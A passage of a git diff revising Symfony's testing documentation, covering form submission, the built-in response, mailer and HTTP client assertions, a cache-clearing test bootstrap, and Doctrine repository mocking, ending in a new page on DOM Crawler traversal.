each with the value and href - $info = $crawler->extract(['_text', 'href']); + // enables the profiler for the very next request + $client->enableProfiler(); - // executes a lambda for each node and return an array of results - $data = $crawler->each(function (Crawler $node, $i) { - return $node->attr('href'); - }); + $crawler = $client->request('GET', '/profiler'); -Links -~~~~~ + // gets the profile + $profile = $client->getProfile(); + +For specific details on using the profiler inside a test, see the +:doc:`/testing/profiling` article. + +.. _testing-applications-act: + +Interacting with the Response +~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + +Like a real browser, the Client and Crawler objects can be used to interact +with the page you're served: + +.. _testing-links: + +Clicking on Links +................. Use the ``clickLink()`` method to click on the first link that contains the given text (or the first clickable image with that ``alt`` attribute):: @@ -827,16 +867,21 @@ given text (or the first clickable image with that ``alt`` attribute):: If you need access to the :class:`Symfony\\Component\\DomCrawler\\Link` object that provides helpful methods specific to links (such as ``getMethod()`` and -``getUri()``), use the ``selectLink()`` method instead:: +``getUri()``), use the ``Crawler::selectLink()`` method instead:: $client = static::createClient(); $crawler = $client->request('GET', '/post/hello-world'); $link = $crawler->selectLink('Click here')->link(); + // ... + + // use click() if you want to click the selected link $client->click($link); -Forms -~~~~~ +.. _testing-forms: + +Submitting Forms +................ Use the ``submitForm()`` method to submit the form that contains the given button:: @@ -847,69 +892,57 @@ Use the ``submitForm()`` method to submit the form that contains the given butto 'comment_form[content]' => '...', ]); -The first argument of ``submitForm()`` is the text content, ``id``, ``value`` or -``name`` of any ``<button>`` or ``<input type="submit">`` included in the form. +The first argument of ``submitForm()`` is the text content, ``id`` or ``name`` +of any ``<button>`` or ``<input type="submit">`` included in the form. The second optional argument is used to override the default form field values. .. note:: - Notice that you select form buttons and not forms as a form can have several - buttons; if you use the traversing API, keep in mind that you must look for a + Notice that you select form buttons and not forms, as a form can have several + buttons. If you use the traversing API, keep in mind that you must look for a button. If you need access to the :class:`Symfony\\Component\\DomCrawler\\Form` object that provides helpful methods specific to forms (such as ``getUri()``, -``getValues()`` and ``getFields()``) use the ``selectButton()`` method instead:: +``getValues()`` and ``getFiles()``) use the ``Crawler::selectButton()`` method instead:: $client = static::createClient(); $crawler = $client->request('GET', '/post/hello-world'); + // select the button $buttonCrawlerNode = $crawler->selectButton('submit'); - // select the form that contains this button + // retrieve the Form object for the form belonging to this button $form = $buttonCrawlerNode->form(); - // you can also pass an array of field values that overrides the default ones - $form = $buttonCrawlerNode->form([ - 'my_form[name]' => 'Fabien', - 'my_form[subject]' => 'Symfony rocks!', - ]); - - // you can pass a second argument to override the form HTTP method - $form = $buttonCrawlerNode->form([], 'DELETE'); + // set values on a form object + $form['my_form[name]'] = 'Fabien'; + $form['my_form[subject]'] = 'Symfony rocks!'; // submit the Form object $client->submit($form); -The field values can also be passed as a second argument of the ``submit()`` -method:: - + // optionally, you can combine the last 2 steps by passing an array of + // field values while submitting the form: $client->submit($form, [ 'my_form[name]' => 'Fabien', 'my_form[subject]' => 'Symfony rocks!', ]); -For more complex situations, use the ``Form`` instance as an array to set the -value of each field individually:: - - // changes the value of a field - $form['my_form[name]'] = 'Fabien'; - $form['my_form[subject]'] = 'Symfony rocks!'; - -There is also a nice API to manipulate the values of the fields according to -their type:: +Based on the form type, you can use different methods to fill in the +input:: // selects an option or a radio - $form['country']->select('France'); + $form['my_form[country]']->select('France'); // ticks a checkbox - $form['like_symfony']->tick(); + $form['my_form[like_symfony]']->tick(); // uploads a file - $form['photo']->upload('/path/to/lucas.jpg'); + $form['my_form[photo]']->upload('/path/to/lucas.jpg'); // In the case of a multiple file upload - $form['my_form[field][O]']->upload('/path/to/lucas.jpg'); + $form['my_form[field][0]']->upload('/path/to/lucas.jpg'); $form['my_form[field][1]']->upload('/path/to/lisa.jpg'); .. tip:: @@ -941,228 +974,208 @@ their type:: $client->submit($form, [], ['HTTP_ACCEPT_LANGUAGE' => 'es']); $client->submitForm($button, [], 'POST', ['HTTP_ACCEPT_LANGUAGE' => 'es']); -Adding and Removing Forms to a Collection -......................................... - -If you use a :doc:`Collection of Forms </form/form_collections>`, -you can't add fields to an existing form with -``$form['task[tags][0][name]'] = 'foo';``. This results in an error -``Unreachable field "…"`` because ``$form`` can only be used in order to -set values of existing fields. In order to add new fields, you have to -add the values to the raw data array:: - - // gets the form - $form = $crawler->filter('button')->form(); - - // gets the raw values - $values = $form->getPhpValues(); - - // adds fields to the raw values - $values['task']['tags'][0]['name'] = 'foo'; - $values['task']['tags'][1]['name'] = 'bar'; - - // submits the form with the existing and new values - $crawler = $client->request($form->getMethod(), $form->getUri(), $values, - $form->getPhpFiles()); - - // the 2 tags have been added to the collection - $this->assertEquals(2, $crawler->filter('ul.tags > li')->count()); - -Where ``task[tags][0][name]`` is the name of a field created -with JavaScript. - -You can remove an existing field, e.g. a tag:: - - // gets the values of the form - $values = $form->getPhpValues(); - - // removes the first tag - unset($values['task']['tags'][0]); - - // submits the data - $crawler = $client->request($form->getMethod(), $form->getUri(), - $values, $form->getPhpFiles()); - - // the tag has been removed - $this->assertEquals(0, $crawler->filter('ul.tags > li')->count()); - -.. index:: - pair: Tests; Configuration - -Testing Configuration ---------------------- - -The Client used by functional tests creates a Kernel that runs in a special -``test`` environment. Since Symfony loads the ``config/packages/test/*.yaml`` -in the ``test`` environment, you can tweak any of your application's settings -specifically for testing. - -For example, by default, the Swift Mailer is configured to *not* actually -deliver emails in the ``test`` environment. You can see this under the ``swiftmailer`` -configuration option: - -.. configuration-block:: - - .. code-block:: yaml - - # config/packages/test/swiftmailer.yaml - - # ... - swiftmailer: - disable_delivery: true - - .. code-block:: xml - - <!-- config/packages/test/swiftmailer.xml --> - <?xml version="1.0" encoding="UTF-8" ?> - <container xmlns="http://symfony.com/schema/dic/services" - xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" - xmlns:swiftmailer="http://symfony.com/schema/dic/swiftmailer" - xsi:schemaLocation="http://symfony.com/schema/dic/services - https://symfony.com/schema/dic/services/services-1.0.xsd - http://symfony.com/schema/dic/swiftmailer - https://symfony.com/schema/dic/swiftmailer/swiftmailer-1.0.xsd"> - - <!-- ... --> - <swiftmailer:config disable-delivery="true"/> - </container> - - .. code-block:: php - - // config/packages/test/swiftmailer.php - - // ... - $container->loadFromExtension('swiftmailer', [ - 'disable_delivery' => true, - ]); - -You can also use a different environment entirely, or override the default -debug mode (``true``) by passing each as options to the ``createClient()`` -method:: - - $client = static::createClient([ - 'environment' => 'my_test_env', - 'debug' => false, - ]); - -Customizing Database URL / Environment Variables -~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ - -If you need to customize some environment variables for your tests (e.g. the -``DATABASE_URL`` used by Doctrine), you can do that by overriding anything you -need in your ``.env.test`` file: - -.. code-block:: text - - # .env.test - DATABASE_URL="mysql://db_user:db_password@127.0.0.1:3306/db_name_test" - - # use SQLITE - # DATABASE_URL="sqlite:///%kernel.project_dir%/var/app.db" - -This file is automatically read in the ``test`` environment: any keys here override -the defaults in ``.env``. - -.. caution:: - - Applications created before November 2018 had a slightly different system, - involving a ``.env.dist`` file. For information about upgrading, see: - :doc:`configuration/dot-env-changes`. - -Sending Custom Headers -~~~~~~~~~~~~~~~~~~~~~~ - -If your application behaves according to some HTTP headers, pass them as the -second argument of ``createClient()``:: - - $client = static::createClient([], [ - 'HTTP_HOST' => 'en.example.com', - 'HTTP_USER_AGENT' => 'MySuperBrowser/1.0', - ]); - -You can also override HTTP headers on a per request basis:: - - $client->request('GET', '/', [], [], [ - 'HTTP_HOST' => 'en.example.com', - 'HTTP_USER_AGENT' => 'MySuperBrowser/1.0', - ]); - -.. tip:: +.. _testing-application-assertions: - The test client is available as a service in the container in the ``test`` - environment (or wherever the :ref:`framework.test <reference-framework-test>` - option is enabled). This means you can override the service entirely - if you need to. - -.. index:: - pair: PHPUnit; Configuration +Testing the Response (Assertions) +~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ -PHPUnit Configuration -~~~~~~~~~~~~~~~~~~~~~ +Now that the tests have visited a page and interacted with it (e.g. filled +in a form), it is time to verify that the expected output is shown. + +As all tests are based on PHPUnit, you can use any `PHPUnit Assertion`_ in +your tests. Combined with test Client and the Crawler, this allows you to +check anything you want. + +However, Symfony provides useful shortcut methods for the most common cases: + +Response Assertions +................... + +``assertResponseIsSuccessful(string $message = '', bool $verbose = true)`` + Asserts that the response was successful (HTTP status is 2xx). +``assertResponseStatusCodeSame(int $expectedCode, string $message = '', bool $verbose = true)`` + Asserts a specific HTTP status code. +``assertResponseRedirects(?string $expectedLocation = null, ?int $expectedCode = null, string $message = '', bool $verbose = true)`` + Asserts the response is a redirect response (optionally, you can check + the target location and status code). The excepted location can be either + an absolute or a relative path. +``assertResponseHasHeader(string $headerName, string $message = '')``/``assertResponseNotHasHeader(string $headerName, string $message = '')`` + Asserts the given header is (not) available on the response, e.g. ``assertResponseHasHeader('content-type');``. +``assertResponseHeaderSame(string $headerName, string $expectedValue, string $message = '')``/``assertResponseHeaderNotSame(string $headerName, string $expectedValue, string $message = '')`` + Asserts the given header does (not) contain the expected value on the + response, e.g. ``assertResponseHeaderSame('content-type', 'application/octet-stream');``. +``assertResponseHasCookie(string $name, string $path = '/', ?string $domain = null, string $message = '')``/``assertResponseNotHasCookie(string $name, string $path = '/', ?string $domain = null, string $message = '')`` + Asserts the given cookie is present in the response (optionally + checking for a specific cookie path or domain). +``assertResponseCookieValueSame(string $name, string $expectedValue, string $path = '/', ?string $domain = null, string $message = '')`` + Asserts the given cookie is present and set to the expected value. +``assertResponseFormatSame(?string $expectedFormat, string $message = '')`` + Asserts the response format returned by the + :method:`Symfony\\Component\\HttpFoundation\\Response::getFormat` method + is the same as the expected value. +``assertResponseIsUnprocessable(string $message = '', bool $verbose = true)`` + Asserts the response is unprocessable (HTTP status is 422) + +.. versionadded:: 7.1 + + The ``$verbose`` parameters were introduced in Symfony 7.1. + +Request Assertions +.................. + +``assertRequestAttributeValueSame(string $name, string $expectedValue, string $message = '')`` + Asserts the given :ref:`request attribute <component-foundation-attributes>` + is set to the expected value. +``assertRouteSame($expectedRoute, array $parameters = [], string $message = '')`` + Asserts the request matches the given route and optionally route parameters. + +Browser Assertions +.................. + +``assertBrowserHasCookie(string $name, string $path = '/', ?string $domain = null, string $message = '')``/``assertBrowserNotHasCookie(string $name, string $path = '/', ?string $domain = null, string $message = '')`` + Asserts that the test Client does (not) have the given cookie set + (meaning, the cookie was set by any response in the test). +``assertBrowserCookieValueSame(string $name, string $expectedValue, string $path = '/', ?string $domain = null, string $message = '')`` + Asserts the given cookie in the test Client is set to the expected + value. +``assertThatForClient(Constraint $constraint, string $message = '')`` + Asserts the given Constraint in the Client. Useful for using your custom asserts + in the same way as built-in asserts (i.e. without passing the Client as argument):: + + // add this method in some custom class imported in your tests + protected static function assertMyOwnCustomAssert(): void + { + self::assertThatForClient(new SomeCustomConstraint()); + } -Each application has its own PHPUnit configuration, stored in the -``phpunit.xml.dist`` file. You can edit this file to change the defaults or -create a ``phpunit.xml`` file to set up a configuration for your local machine -only. +Crawler Assertions +.................. + +``assertSelectorExists(string $selector, string $message = '')``/``assertSelectorNotExists(string $selector, string $message = '')`` + Asserts that the given selector does (not) match at least one element + in the response. +``assertSelectorCount(int $expectedCount, string $selector, string $message = '')`` + Asserts that the expected number of selector elements are in the response +``assertSelectorTextContains(string $selector, string $text, string $message = '')``/``assertSelectorTextNotContains(string $selector, string $text, string $message = '')`` + Asserts that the first element matching the given selector does (not) + contain the expected text. +``assertAnySelectorTextContains(string $selector, string $text, string $message = '')``/``assertAnySelectorTextNotContains(string $selector, string $text, string $message = '')`` + Asserts that any element matching the given selector does (not) + contain the expected text. +``assertSelectorTextSame(string $selector, string $text, string $message = '')`` + Asserts that the contents of the first element matching the given + selector does equal the expected text. +``assertAnySelectorTextSame(string $selector, string $text, string $message = '')`` + Asserts that the any element matching the given selector does equal the + expected text. +``assertPageTitleSame(string $expectedTitle, string $message = '')`` + Asserts that the ``<title>`` element is equal to the given title. +``assertPageTitleContains(string $expectedTitle, string $message = '')`` + Asserts that the ``<title>`` element contains the given title. +``assertInputValueSame(string $fieldName, string $expectedValue, string $message = '')``/``assertInputValueNotSame(string $fieldName, string $expectedValue, string $message = '')`` + Asserts that value of the form input with the given name does (not) + equal the expected value. +``assertCheckboxChecked(string $fieldName, string $message = '')``/``assertCheckboxNotChecked(string $fieldName, string $message = '')`` + Asserts that the checkbox with the given name is (not) checked. +``assertFormValue(string $formSelector, string $fieldName, string $value, string $message = '')``/``assertNoFormValue(string $formSelector, string $fieldName, string $message = '')`` + Asserts that value of the field of the first form matching the given + selector does (not) equal the expected value. + +.. _mailer-assertions: + +Mailer Assertions +................. + +``assertEmailCount(int $count, ?string $transport = null, string $message = '')`` + Asserts that the expected number of emails was sent. +``assertQueuedEmailCount(int $count, ?string $transport = null, string $message = '')`` + Asserts that the expected number of emails was queued (e.g. using the + Messenger component). +``assertEmailIsQueued(MessageEvent $event, string $message = '')``/``assertEmailIsNotQueued(MessageEvent $event, string $message = '')`` + Asserts that the given mailer event is (not) queued. Use + ``getMailerEvent(int $index = 0, ?string $transport = null)`` to + retrieve a mailer event by index. +``assertEmailAttachmentCount(RawMessage $email, int $count, string $message = '')`` + Asserts that the given email has the expected number of attachments. Use + ``getMailerMessage(int $index = 0, ?string $transport = null)`` to + retrieve a specific email by index. +``assertEmailTextBodyContains(RawMessage $email, string $text, string $message = '')``/``assertEmailTextBodyNotContains(RawMessage $email, string $text, string $message = '')`` + Asserts that the text body of the given email does (not) contain the + expected text. +``assertEmailHtmlBodyContains(RawMessage $email, string $text, string $message = '')``/``assertEmailHtmlBodyNotContains(RawMessage $email, string $text, string $message = '')`` + Asserts that the HTML body of the given email does (not) contain the + expected text. +``assertEmailHasHeader(RawMessage $email, string $headerName, string $message = '')``/``assertEmailNotHasHeader(RawMessage $email, string $headerName, string $message = '')`` + Asserts that the given email does (not) have the expected header set. +``assertEmailHeaderSame(RawMessage $email, string $headerName, string $expectedValue, string $message = '')``/``assertEmailHeaderNotSame(RawMessage $email, string $headerName, string $expectedValue, string $message = '')`` + Asserts that the given email does (not) have the expected header set to + the expected value. +``assertEmailAddressContains(RawMessage $email, string $headerName, string $expectedValue, string $message = '')`` + Asserts that the given address header equals the expected e-mail + address. This assertion normalizes addresses like ``Jane Smith + <jane@example.com>`` into ``jane@example.com``. +``assertEmailSubjectContains(RawMessage $email, string $expectedValue, string $message = '')``/``assertEmailSubjectNotContains(RawMessage $email, string $expectedValue, string $message = '')`` + Asserts that the subject of the given email does (not) contain the + expected subject. + +Notifier Assertions +................... + +``assertNotificationCount(int $count, ?string $transportName = null, string $message = '')`` + Asserts that the given number of notifications has been created + (in total or for the given transport). +``assertQueuedNotificationCount(int $count, ?string $transportName = null, string $message = '')`` + Asserts that the given number of notifications are queued + (in total or for the given transport). +``assertNotificationIsQueued(MessageEvent $event, string $message = '')`` + Asserts that the given notification is queued. +``assertNotificationIsNotQueued(MessageEvent $event, string $message = '')`` + Asserts that the given notification is not queued. +``assertNotificationSubjectContains(MessageInterface $notification, string $text, string $message = '')`` + Asserts that the given text is included in the subject of + the given notification. +``assertNotificationSubjectNotContains(MessageInterface $notification, string $text, string $message = '')`` + Asserts that the given text is not included in the subject of + the given notification. +``assertNotificationTransportIsEqual(MessageInterface $notification, string $transportName, string $message = '')`` + Asserts that the name of the transport for the given notification + is the same as the given text. +``assertNotificationTransportIsNotEqual(MessageInterface $notification, string $transportName, string $message = '')`` + Asserts that the name of the transport for the given notification + is not the same as the given text. + +HttpClient Assertions +..................... .. tip:: - Store the ``phpunit.xml.dist`` file in your code repository and ignore - the ``phpunit.xml`` file. - -By default, only the tests stored in ``tests/`` are run via the ``phpunit`` command, -as configured in the ``phpunit.xml.dist`` file: + For all the following assertions, ``$client->enableProfiler()`` must be + called before the code that will trigger HTTP request(s). -.. code-block:: xml +``assertHttpClientRequest(string $expectedUrl, string $expectedMethod = 'GET', string|array|null $expectedBody = null, array $expectedHeaders = [], string $httpClientId = 'http_client')`` + Asserts that the given URL has been called using, if specified, + the given method body and headers. By default it will check on the HttpClient, + but you can also pass a specific HttpClient ID. + (It will succeed if the request has been called multiple times.) - <!-- phpunit.xml.dist --> - <phpunit> - <!-- ... --> - <testsuites> - <testsuite name="Project Test Suite"> - <directory>tests</directory> - </testsuite> - </testsuites> - <!-- ... --> - </phpunit> +``assertNotHttpClientRequest(string $unexpectedUrl, string $expectedMethod = 'GET', string $httpClientId = 'http_client')`` + Asserts that the given URL has not been called using GET or the specified method. + By default it will check on the HttpClient, but a HttpClient id can be specified. -But you can add more directories. For instance, the following -configuration adds tests from a custom ``lib/tests`` directory: +``assertHttpClientRequestCount(int $count, string $httpClientId = 'http_client')`` + Asserts that the given number of requests has been made on the HttpClient. + By default it will check on the HttpClient, but you can also pass a specific + HttpClient ID. -.. code-block:: xml - - <!-- phpunit.xml.dist --> - <phpunit> - <!-- ... --> - <testsuites> - <testsuite name="Project Test Suite"> - <!-- ... ---> - <directory>lib/tests</directory> - </testsuite> - </testsuites> - <!-- ... --> - </phpunit> - -To include other directories in the code coverage, also edit the ``<filter>`` -section: +End to End Tests (E2E) +~~~~~~~~~~~~~~~~~~~~~~ -.. code-block:: xml +If you need to test the application as a whole, including the JavaScript +code, you can use a real browser instead of the test client. This is +called an end-to-end test and it's a great way to test the application. - <!-- phpunit.xml.dist --> - <phpunit> - <!-- ... --> - <filter> - <whitelist> - <!-- ... --> - <directory>lib</directory> - <exclude> - <!-- ... --> - <directory>lib/tests</directory> - </exclude> - </whitelist> - </filter> - <!-- ... --> - </phpunit> +This can be achieved thanks to the Panther component. You can learn more +about it in :doc:`the dedicated page </testing/end_to_end>`. Learn more ---------- @@ -1176,9 +1189,13 @@ Learn more /components/css_selector .. _`PHPUnit`: https://phpunit.de/ -.. _`documentation`: https://phpunit.readthedocs.io/ -.. _`PHPUnit Bridge component`: https://symfony.com/components/PHPUnit%20Bridge +.. _`official PHPUnit documentation`: https://docs.phpunit.de/ +.. _`Writing Tests for PHPUnit`: https://docs.phpunit.de/en/10.5/writing-tests-for-phpunit.html +.. _`PHPUnit documentation`: https://docs.phpunit.de/en/10.5/configuration.html .. _`unit test`: https://en.wikipedia.org/wiki/Unit_testing -.. _`$_SERVER`: https://www.php.net/manual/en/reserved.variables.server.php -.. _`data providers`: https://phpunit.de/manual/current/en/writing-tests-for-phpunit.html#writing-tests-for-phpunit.data-providers -.. _`code coverage analysis`: https://phpunit.readthedocs.io/en/9.1/code-coverage-analysis.html +.. _`DAMADoctrineTestBundle`: https://github.com/dmaicher/doctrine-test-bundle +.. _`Doctrine data fixtures`: https://symfony.com/doc/current/bundles/DoctrineFixturesBundle/index.html +.. _`DoctrineFixturesBundle documentation`: https://symfony.com/doc/current/bundles/DoctrineFixturesBundle/index.html +.. _`SymfonyMakerBundle`: https://symfony.com/doc/current/bundles/SymfonyMakerBundle/index.html +.. _`PHPUnit Assertion`: https://docs.phpunit.de/en/10.3/assertions.html +.. _`section 4.1.18 of RFC 3875`: https://tools.ietf.org/html/rfc3875#section-4.1.18 diff --git a/testing/bootstrap.rst b/testing/bootstrap.rst index bdd7448a519..83e8e55149b 100644 --- a/testing/bootstrap.rst +++ b/testing/bootstrap.rst @@ -6,47 +6,46 @@ running those tests. For example, if you're running a functional test and have introduced a new translation resource, then you will need to clear your cache before running those tests. -Symfony already created the following ``tests/bootstrap.php`` file when installing -the package to work with tests. If you don't have this file, create it:: +When :ref:`installing testing <testing-installation>` using Symfony Flex, +it already created a ``tests/bootstrap.php`` file that is run by PHPUnit +before your tests. - // tests/bootstrap.php - use Symfony\Component\Dotenv\Dotenv; +You can modify this file to add custom logic: - require dirname(__DIR__).'/vendor/autoload.php'; +.. code-block:: diff - if (file_exists(dirname(__DIR__).'/config/bootstrap.php')) { - require dirname(__DIR__).'/config/bootstrap.php'; - } elseif (method_exists(Dotenv::class, 'bootEnv')) { - (new Dotenv())->bootEnv(dirname(__DIR__).'/.env'); - } + // tests/bootstrap.php + use Symfony\Component\Dotenv\Dotenv; -Then, check that your ``phpunit.xml.dist`` file runs this ``bootstrap.php`` file -before running the tests: + require dirname(__DIR__).'/vendor/autoload.php'; -.. code-block:: xml + if (file_exists(dirname(__DIR__).'/config/bootstrap.php')) { + require dirname(__DIR__).'/config/bootstrap.php'; + } elseif (method_exists(Dotenv::class, 'bootEnv')) { + (new Dotenv())->bootEnv(dirname(__DIR__).'/.env'); + } - <!-- phpunit.xml.dist --> - <?xml version="1.0" encoding="UTF-8"?> - <phpunit - bootstrap="tests/bootstrap.php" - > - <!-- ... --> - </phpunit> + + // executes the "php bin/console cache:clear" command + + passthru(sprintf( + + 'APP_ENV=%s php "%s/../bin/console" cache:clear --no-warmup', + + $_ENV['APP_ENV'], + + __DIR__ + + )); -Now, you can define in your ``phpunit.xml.dist`` file which environment you want the -cache to be cleared: +.. note:: -.. code-block:: xml + If you don't use Symfony Flex, make sure this file is configured as + bootstrap file in your ``phpunit.dist.xml`` file: - <!-- phpunit.xml.dist --> - <?xml version="1.0" encoding="UTF-8"?> - <phpunit> - <!-- ... --> + .. code-block:: xml - <php> - <env name="BOOTSTRAP_CLEAR_CACHE_ENV" value="test"/> - </php> - </phpunit> + <!-- phpunit.dist.xml --> + <?xml version="1.0" encoding="UTF-8" ?> + <phpunit + bootstrap="tests/bootstrap.php" + > + <!-- ... --> + </phpunit> -This now becomes an environment variable (i.e. ``$_ENV``) that's available -in the custom bootstrap file (``tests/bootstrap.php``). +Now, when running ``vendor/bin/phpunit``, the cache will be cleared +automatically by the bootstrap file before running all tests. diff --git a/testing/database.rst b/testing/database.rst index 5720125ca53..fe74bbedd82 100644 --- a/testing/database.rst +++ b/testing/database.rst @@ -1,123 +1,11 @@ -.. index:: - single: Tests; Database +How to Test a Doctrine Repository +================================= -How to Test Code that Interacts with the Database -================================================= +.. seealso:: -Configuring a Database for Tests --------------------------------- - -Tests that interact with the database should use their own separate database to -not mess with the databases used in the other :ref:`configuration environments <configuration-environments>`. -To do that, edit or create the ``.env.test.local`` file at the root directory of -your project and define the new value for the ``DATABASE_URL`` env var: - -.. code-block:: bash - - # .env.test.local - DATABASE_URL=mysql://USERNAME:PASSWORD@127.0.0.1:3306/DB_NAME?serverVersion=5.7 - -.. tip:: - - A common practice is to append the ``_test`` suffix to the original database - names in tests. If the database name in production is called ``project_acme`` - the name of the testing database could be ``project_acme_test``. - -The above assumes that each developer/machine uses a different database for the -tests. If the entire team uses the same settings for tests, edit or create the -``.env.test`` file instead and commit it to the shared repository. Learn more -about :ref:`using multiple .env files in Symfony applications <configuration-multiple-env-files>`. - -Resetting the Database Automatically Before each Test ------------------------------------------------------ - -Tests should be independent from each other to avoid side effects. For example, -if some test modifies the database (by adding or removing an entity) it could -change the results of other tests. Run the following command to install a bundle -that ensures that each test is run with the same unmodified database: - -.. code-block:: terminal - - $ composer require --dev dama/doctrine-test-bundle - -Now, enable it as a PHPUnit extension or listener: - -.. code-block:: xml - - <!-- phpunit.xml.dist --> - <phpunit> - <!-- ... --> - - <!-- Add this for PHPUnit 7.5 or higher --> - <extensions> - <extension class="DAMA\DoctrineTestBundle\PHPUnit\PHPUnitExtension"/> - </extensions> - - <!-- Add this for PHPUnit 7.0 until 7.4 --> - <listeners> - <listener class="\DAMA\DoctrineTestBundle\PHPUnit\PHPUnitListener"/> - </listeners> - </phpunit> - -This bundle uses a clever trick to avoid side effects without sacrificing -performance: it begins a database transaction before every test and rolls it -back automatically after the test finishes to undo all changes. Read more in the -documentation of the `DAMADoctrineTestBundle`_. - -.. _doctrine-fixtures: - -Dummy Data Fixtures -------------------- - -Instead of using the real data from the production database, it's common to use -fake or dummy data in the test database. This is usually called *"fixtures data"* -and Doctrine provides a library to create and load them. Install it with: - -.. code-block:: terminal - - $ composer require --dev doctrine/doctrine-fixtures-bundle - -Then, use the ``make:fixtures`` command to generate an empty fixture class: - -.. code-block:: terminal - - $ php bin/console make:fixtures - - The class name of the fixtures to create (e.g. AppFixtures): - > ProductFixture - -Customize the new class to load ``Product`` objects into Doctrine:: - - // src/DataFixtures/ProductFixture.php - namespace App\DataFixtures; - - use App\Entity\Product; - use Doctrine\Bundle\FixturesBundle\Fixture; - use Doctrine\Persistence\ObjectManager; - - class ProductFixture extends Fixture - { - public function load(ObjectManager $manager) - { - $product = new Product(); - $product->setName('Priceless widget'); - $product->setPrice(14.50); - $product->setDescription('Ok, I guess it *does* have a price'); - $manager->persist($product); - - // add more products - - $manager->flush(); - } - } - -Empty the database and reload *all* the fixture classes with: - -.. code-block:: terminal - - $ php bin/console doctrine:fixtures:load - -For more information, read the `DoctrineFixturesBundle documentation`_. + The :ref:`main Testing guide <testing-databases>` describes how to use + and set-up a database for your automated tests. The contents of this + article show ways to test your Doctrine repositories. Mocking a Doctrine Repository in Unit Tests ------------------------------------------- @@ -132,20 +20,18 @@ Suppose the class you want to test looks like this:: namespace App\Salary; use App\Entity\Employee; - use Doctrine\Persistence\ObjectManager; + use Doctrine\ORM\EntityManager; class SalaryCalculator { - private $objectManager; - - public function __construct(ObjectManager $objectManager) - { - $this->objectManager = $objectManager; + public function __construct( + private EntityManager $entityManager, + ) { } - public function calculateTotalSalary($id) + public function calculateTotalSalary(int $id): int { - $employeeRepository = $this->objectManager + $employeeRepository = $this->entityManager ->getRepository(Employee::class); $employee = $employeeRepository->find($id); @@ -161,37 +47,33 @@ constructor, you can pass a mock object within a test:: use App\Entity\Employee; use App\Salary\SalaryCalculator; - use Doctrine\Persistence\ObjectManager; - use Doctrine\Persistence\ObjectRepository; + use Doctrine\ORM\EntityManager; + use Doctrine\ORM\EntityRepository; use PHPUnit\Framework\TestCase; class SalaryCalculatorTest extends TestCase { - public function testCalculateTotalSalary() + public function testCalculateTotalSalary(): void { $employee = new Employee(); $employee->setSalary(1000); $employee->setBonus(1100); // Now, mock the repository so it returns the mock of the employee - $employeeRepository = $this->createMock(ObjectRepository::class); - // use getMock() on PHPUnit 5.3 or below - // $employeeRepository = $this->getMock(ObjectRepository::class); + $employeeRepository = $this->createMock(EntityRepository::class); $employeeRepository->expects($this->any()) ->method('find') ->willReturn($employee); // Last, mock the EntityManager to return the mock of the repository // (this is not needed if the class being tested injects the - // repository it uses instead of the entire object manager) - $objectManager = $this->createMock(ObjectManager::class); - // use getMock() on PHPUnit 5.3 or below - // $objectManager = $this->getMock(ObjectManager::class); - $objectManager->expects($this->any()) + // repository it uses instead of the entire entity manager) + $entityManager = $this->createMock(EntityManager::class); + $entityManager->expects($this->any()) ->method('getRepository') ->willReturn($employeeRepository); - $salaryCalculator = new SalaryCalculator($objectManager); + $salaryCalculator = new SalaryCalculator($entityManager); $this->assertEquals(2100, $salaryCalculator->calculateTotalSalary(1)); } } @@ -201,7 +83,7 @@ the employee which gets returned by the ``Repository``, which itself gets returned by the ``EntityManager``. This way, no real class is involved in testing. -Functional Testing of A Doctrine Repository +Functional Testing of a Doctrine Repository ------------------------------------------- In :ref:`functional tests <functional-tests>` you'll make queries to the @@ -212,14 +94,12 @@ so, get the entity manager via the service container as follows:: namespace App\Tests\Repository; use App\Entity\Product; + use Doctrine\ORM\EntityManager; use Symfony\Bundle\FrameworkBundle\Test\KernelTestCase; class ProductRepositoryTest extends KernelTestCase { - /** - * @var \Doctrine\ORM\EntityManager - */ - private $entityManager; + private ?EntityManager $entityManager; protected function setUp(): void { @@ -230,7 +110,7 @@ so, get the entity manager via the service container as follows:: ->getManager(); } - public function testSearchByName() + public function testSearchByName(): void { $product = $this->entityManager ->getRepository(Product::class) @@ -249,6 +129,3 @@ so, get the entity manager via the service container as follows:: $this->entityManager = null; } } - -.. _`DAMADoctrineTestBundle`: https://github.com/dmaicher/doctrine-test-bundle -.. _`DoctrineFixturesBundle documentation`: https://symfony.com/doc/current/bundles/DoctrineFixturesBundle/index.html diff --git a/testing/dom_crawler.rst b/testing/dom_crawler.rst new file mode 100644 index 00000000000..9f419bf9b63 --- /dev/null +++ b/testing/dom_crawler.rst @@ -0,0 +1,97 @@ +The DOM Crawler +=============== + +A Crawler instance is returned each time you make a request with the Client. +It allows you to traverse HTML or XML documents: select nodes, find links +and forms, and retrieve attributes or contents. + +Traversing +---------- + +Like jQuery, the Crawler has methods to traverse the DOM of an HTML/XML +document. For example, the following finds all ``input[type=submit]`` elements, +selects the last one on the page, and then selects its immediate ancestor element:: + + $newCrawler = $crawler->filter('input[type=submit]') + ->last() + ->ancestors() + ->first() + ; + +Many other methods are also available: + +``filter('h1.title')`` + Finds nodes that match the given CSS selector (which must be supported by + Symfony's :doc:`CSS Selector component </components/css_selector>`). +``filterXpath('h1')`` + Finds nodes matching the given `XPath expression`_. +``eq(1)`` + Returns the node at the given index (``0`` is the first node). +``first()`` + Returns the first node (equivalent to ``eq(0)``). +``last()`` + Returns the last node. +``siblings()`` + Returns all sibling nodes (nodes with the same parent, excluding the current node). +``nextAll()`` + Returns all following siblings (same parent, after the current node). +``previousAll()`` + Returns all preceding siblings (same parent, before the current node). +``ancestors()`` + Returns all ancestor nodes (parents, grandparents, etc., up to the ``<html>`` + element). +``children()`` + Returns all direct child nodes of the current node. +``reduce($lambda)`` + Filters the nodes using a callback; keeps only those for which it returns ``true``. + +Since each of these methods returns a new ``Crawler`` instance, you can +narrow down your node selection by chaining the method calls:: + + $crawler + ->filter('h1') + ->reduce(function ($node, int $i): bool { + if (!$node->attr('class')) { + return false; + } + + return true; + }) + ->first() + ; + +.. tip:: + + Use the ``count()`` function to get the number of nodes stored in a Crawler: + ``count($crawler)`` + +Extracting Information +---------------------- + +The Crawler can extract information from the nodes:: + + // returns the attribute value for the first node + $crawler->attr('class'); + + // returns the node value for the first node + $crawler->text(); + + // returns the default text if the node does not exist + 